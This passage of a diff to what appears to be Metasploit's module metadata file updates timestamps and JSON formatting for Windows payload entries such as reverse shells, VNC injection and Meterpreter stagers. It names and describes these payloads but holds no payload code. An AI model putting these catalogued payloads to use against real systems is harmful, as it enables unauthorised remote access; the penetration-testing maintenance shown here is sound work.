"payload", @@ -259821,15 +261094,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_tcp_uuid.rb", "is_install_path": true, "ref_name": "windows/vncinject/bind_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -259840,9 +261112,7 @@ "payload_windows/vncinject/find_tag": { "name": "VNC Server (Reflective Injection), Find Tag Ordinal Stager", "fullname": "payload/windows/vncinject/find_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -259861,15 +261131,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/findtag_ord.rb", "is_install_path": true, "ref_name": "windows/vncinject/find_tag", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -259880,9 +261149,7 @@ "payload_windows/vncinject/reverse_http": { "name": "VNC Server (Reflective Injection), Windows Reverse HTTP Stager (wininet)", "fullname": "payload/windows/vncinject/reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -259901,15 +261168,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-11-10 12:33:52 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_http.rb", "is_install_path": true, "ref_name": "windows/vncinject/reverse_http", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -259920,9 +261186,7 @@ "payload_windows/vncinject/reverse_http_proxy_pstore": { "name": "VNC Server (Reflective Injection), Reverse HTTP Stager Proxy", "fullname": "payload/windows/vncinject/reverse_http_proxy_pstore", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -259941,15 +261205,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_http_proxy_pstore.rb", "is_install_path": true, "ref_name": "windows/vncinject/reverse_http_proxy_pstore", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -259960,9 +261223,7 @@ "payload_windows/vncinject/reverse_ipv6_tcp": { "name": "VNC Server (Reflective Injection), Reverse TCP Stager (IPv6)", "fullname": "payload/windows/vncinject/reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -259982,15 +261243,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_ipv6_tcp.rb", "is_install_path": true, "ref_name": "windows/vncinject/reverse_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -260001,9 +261261,7 @@ "payload_windows/vncinject/reverse_nonx_tcp": { "name": "VNC Server (Reflective Injection), Reverse TCP Stager (No NX or Win7)", "fullname": "payload/windows/vncinject/reverse_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -260022,15 +261280,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_nonx_tcp.rb", "is_install_path": true, "ref_name": "windows/vncinject/reverse_nonx_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -260041,9 +261298,7 @@ "payload_windows/vncinject/reverse_ord_tcp": { "name": "VNC Server (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)", "fullname": "payload/windows/vncinject/reverse_ord_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -260062,15 +261317,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_ord_tcp.rb", "is_install_path": true, "ref_name": "windows/vncinject/reverse_ord_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -260081,9 +261335,7 @@ "payload_windows/vncinject/reverse_tcp": { "name": "VNC Server (Reflective Injection), Reverse TCP Stager", "fullname": "payload/windows/vncinject/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -260103,15 +261355,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp.rb", "is_install_path": true, "ref_name": "windows/vncinject/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -260122,9 +261373,7 @@ "payload_windows/vncinject/reverse_tcp_allports": { "name": "VNC Server (Reflective Injection), Reverse All-Port TCP Stager", "fullname": "payload/windows/vncinject/reverse_tcp_allports", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -260144,15 +261393,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_allports.rb", "is_install_path": true, "ref_name": "windows/vncinject/reverse_tcp_allports", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -260163,9 +261411,7 @@ "payload_windows/vncinject/reverse_tcp_dns": { "name": "VNC Server (Reflective Injection), Reverse TCP Stager (DNS)", "fullname": "payload/windows/vncinject/reverse_tcp_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -260186,15 +261432,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_dns.rb", "is_install_path": true, "ref_name": "windows/vncinject/reverse_tcp_dns", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -260205,9 +261450,7 @@ "payload_windows/vncinject/reverse_tcp_rc4": { "name": "VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/windows/vncinject/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -260229,15 +261472,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_rc4.rb", "is_install_path": true, "ref_name": "windows/vncinject/reverse_tcp_rc4", "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -260248,9 +261490,7 @@ "payload_windows/vncinject/reverse_tcp_rc4_dns": { "name": "VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", "fullname": "payload/windows/vncinject/reverse_tcp_rc4_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -260272,15 +261512,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_rc4_dns.rb", "is_install_path": true, "ref_name": "windows/vncinject/reverse_tcp_rc4_dns", "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -260291,9 +261530,7 @@ "payload_windows/vncinject/reverse_tcp_uuid": { "name": "VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support", "fullname": "payload/windows/vncinject/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -260313,15 +261550,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_uuid.rb", "is_install_path": true, "ref_name": "windows/vncinject/reverse_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -260332,9 +261568,7 @@ "payload_windows/vncinject/reverse_winhttp": { "name": "VNC Server (Reflective Injection), Windows Reverse HTTP Stager (winhttp)", "fullname": "payload/windows/vncinject/reverse_winhttp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -260354,15 +261588,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_winhttp.rb", "is_install_path": true, "ref_name": "windows/vncinject/reverse_winhttp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -260373,9 +261606,7 @@ "payload_windows/x64/custom/bind_ipv6_tcp": { "name": "Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager", "fullname": "payload/windows/x64/custom/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -260384,24 +261615,21 @@ "sf " ], "description": "Custom shellcode stage.\n\nListen for an IPv6 connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/x64/bind_ipv6_tcp.rb", "is_install_path": true, "ref_name": "windows/x64/custom/bind_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -260412,9 +261640,7 @@ "payload_windows/x64/custom/bind_ipv6_tcp_uuid": { "name": "Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager with UUID Support", "fullname": "payload/windows/x64/custom/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -260424,24 +261650,21 @@ "OJ Reeves" ], "description": "Custom shellcode stage.\n\nListen for an IPv6 connection with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/x64/bind_ipv6_tcp_uuid.rb", "is_install_path": true, "ref_name": "windows/x64/custom/bind_ipv6_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -260452,9 +261675,7 @@ "payload_windows/x64/custom/bind_named_pipe": { "name": "Windows shellcode stage, Windows x64 Bind Named Pipe Stager", "fullname": "payload/windows/x64/custom/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -260463,24 +261684,21 @@ "UserExistsError" ], "description": "Custom shellcode stage.\n\nListen for a pipe connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/x64/bind_named_pipe.rb", "is_install_path": true, "ref_name": "windows/x64/custom/bind_named_pipe", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -260491,9 +261709,7 @@ "payload_windows/x64/custom/bind_tcp": { "name": "Windows shellcode stage, Windows x64 Bind TCP Stager", "fullname": "payload/windows/x64/custom/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -260502,24 +261718,21 @@ "sf " ], "description": "Custom shellcode stage.\n\nListen for a connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/x64/bind_tcp.rb", "is_install_path": true, "ref_name": "windows/x64/custom/bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -260530,9 +261743,7 @@ "payload_windows/x64/custom/bind_tcp_rc4": { "name": "Windows shellcode stage, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/windows/x64/custom/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -260546,24 +261757,21 @@ "RageLtMan" ], "description": "Custom shellcode stage.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/x64/bind_tcp_rc4.rb", "is_install_path": true, "ref_name": "windows/x64/custom/bind_tcp_rc4", "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -260574,9 +261782,7 @@ "payload_windows/x64/custom/bind_tcp_uuid": { "name": "Windows shellcode stage, Bind TCP Stager with UUID Support (Windows x64)", "fullname": "payload/windows/x64/custom/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -260586,24 +261792,21 @@ "OJ Reeves" ], "description": "Custom shellcode stage.\n\nListen for a connection with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/x64/bind_tcp_uuid.rb", "is_install_path": true, "ref_name": "windows/x64/custom/bind_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -260614,9 +261817,7 @@ "payload_windows/x64/custom/reverse_http": { "name": "Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/windows/x64/custom/reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -260625,24 +261826,21 @@ "OJ Reeves" ], "description": "Custom shellcode stage.\n\nTunnel communication over HTTP (Windows x64 wininet)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-12-16 12:48:57 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/x64/reverse_http.rb", "is_install_path": true, "ref_name": "windows/x64/custom/reverse_http", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -260653,9 +261851,7 @@ "payload_windows/x64/custom/reverse_https": { "name": "Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/windows/x64/custom/reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -260666,24 +261862,21 @@ "rwincey" ], "description": "Custom shellcode stage.\n\nTunnel communication over HTTP (Windows x64 wininet)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-12-16 12:48:57 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/x64/reverse_https.rb", "is_install_path": true, "ref_name": "windows/x64/custom/reverse_https", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -260694,9 +261887,7 @@ "payload_windows/x64/custom/reverse_named_pipe": { "name": "Windows shellcode stage, Windows x64 Reverse Named Pipe (SMB) Stager", "fullname": "payload/windows/x64/custom/reverse_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -260705,24 +261896,21 @@ "OJ Reeves" ], "description": "Custom shellcode stage.\n\nConnect back to the attacker via a named pipe pivot", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/x64/reverse_named_pipe.rb", "is_install_path": true, "ref_name": "windows/x64/custom/reverse_named_pipe", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -260733,9 +261921,7 @@ "payload_windows/x64/custom/reverse_tcp": { "name": "Windows shellcode stage, Windows x64 Reverse TCP Stager", "fullname": "payload/windows/x64/custom/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -260744,24 +261930,21 @@ "sf " ], "description": "Custom shellcode stage.\n\nConnect back to the attacker (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/x64/reverse_tcp.rb", "is_install_path": true, "ref_name": "windows/x64/custom/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -260772,9 +261955,7 @@ "payload_windows/x64/custom/reverse_tcp_rc4": { "name": "Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/windows/x64/custom/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -260788,24 +261969,21 @@ "RageLtMan" ], "description": "Custom shellcode stage.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/x64/reverse_tcp_rc4.rb", "is_install_path": true, "ref_name": "windows/x64/custom/reverse_tcp_rc4", "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -260816,9 +261994,7 @@ "payload_windows/x64/custom/reverse_tcp_uuid": { "name": "Windows shellcode stage, Reverse TCP Stager with UUID Support (Windows x64)", "fullname": "payload/windows/x64/custom/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -260828,24 +262004,21 @@ "OJ Reeves" ], "description": "Custom shellcode stage.\n\nConnect back to the attacker with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/x64/reverse_tcp_uuid.rb", "is_install_path": true, "ref_name": "windows/x64/custom/reverse_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -260856,9 +262029,7 @@ "payload_windows/x64/custom/reverse_winhttp": { "name": "Windows shellcode stage, Windows x64 Reverse HTTP Stager (winhttp)", "fullname": "payload/windows/x64/custom/reverse_winhttp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -260867,24 +262038,21 @@ "OJ Reeves" ], "description": "Custom shellcode stage.\n\nTunnel communication over HTTP (Windows x64 winhttp)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/x64/reverse_winhttp.rb", "is_install_path": true, "ref_name": "windows/x64/custom/reverse_winhttp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -260895,9 +262063,7 @@ "payload_windows/x64/custom/reverse_winhttps": { "name": "Windows shellcode stage, Windows x64 Reverse HTTPS Stager (winhttp)", "fullname": "payload/windows/x64/custom/reverse_winhttps", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -260906,24 +262072,21 @@ "OJ Reeves" ], "description": "Custom shellcode stage.\n\nTunnel communication over HTTPS (Windows x64 winhttp)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/x64/reverse_winhttps.rb", "is_install_path": true, "ref_name": "windows/x64/custom/reverse_winhttps", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -260934,9 +262097,7 @@ "payload_windows/x64/encrypted_shell/reverse_tcp": { "name": "Windows Command Shell, Encrypted Reverse TCP Stager", "fullname": "payload/windows/x64/encrypted_shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -260945,24 +262106,21 @@ "Shelby Pace" ], "description": "Spawn a piped command shell (staged).\n\nConnect to MSF and read in stage", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/x64/encrypted_reverse_tcp.rb", "is_install_path": true, "ref_name": "windows/x64/encrypted_shell/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -260973,9 +262131,7 @@ "payload_windows/x64/encrypted_shell_reverse_tcp": { "name": "Windows Encrypted Reverse Shell", "fullname": "payload/windows/x64/encrypted_shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -260984,24 +262140,21 @@ "Shelby Pace" ], "description": "Connect back to attacker and spawn an encrypted command shell", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-01-05 14:59:46 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/windows/x64/encrypted_shell_reverse_tcp.rb", "is_install_path": true, "ref_name": "windows/x64/encrypted_shell_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -261010,9 +262163,7 @@ "payload_windows/x64/exec": { "name": "Windows x64 Execute Command", "fullname": "payload/windows/x64/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -261020,24 +262171,21 @@ "sf " ], "description": "Execute an arbitrary command (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/windows/x64/exec.rb", "is_install_path": true, "ref_name": "windows/x64/exec", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -261046,9 +262194,7 @@ "payload_windows/x64/loadlibrary": { "name": "Windows x64 LoadLibrary Path", "fullname": "payload/windows/x64/loadlibrary", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -261057,24 +262203,21 @@ "sf " ], "description": "Load an arbitrary x64 library path", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/windows/x64/loadlibrary.rb", "is_install_path": true, "ref_name": "windows/x64/loadlibrary", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -261083,9 +262226,7 @@ "payload_windows/x64/messagebox": { "name": "Windows MessageBox x64", "fullname": "payload/windows/x64/messagebox", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -261093,24 +262234,21 @@ "pasta " ], "description": "Spawn a dialog via MessageBox using a customizable title, text & icon", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-11-27 08:15:57 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/windows/x64/messagebox.rb", "is_install_path": true, "ref_name": "windows/x64/messagebox", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -261119,9 +262257,7 @@ "payload_windows/x64/meterpreter/bind_ipv6_tcp": { "name": "Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager", "fullname": "payload/windows/x64/meterpreter/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -261141,15 +262277,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/x64/bind_ipv6_tcp.rb", "is_install_path": true, "ref_name": "windows/x64/meterpreter/bind_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -261160,9 +262295,7 @@ "payload_windows/x64/meterpreter/bind_ipv6_tcp_uuid": { "name": "Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support", "fullname": "payload/windows/x64/meterpreter/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -261182,15 +262315,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/x64/bind_ipv6_tcp_uuid.rb", "is_install_path": true, "ref_name": "windows/x64/meterpreter/bind_ipv6_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -261201,9 +262333,7 @@ "payload_windows/x64/meterpreter/bind_named_pipe": { "name": "Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager", "fullname": "payload/windows/x64/meterpreter/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -261224,15 +262354,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/x64/bind_named_pipe.rb", "is_install_path": true, "ref_name": "windows/x64/meterpreter/bind_named_pipe", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": 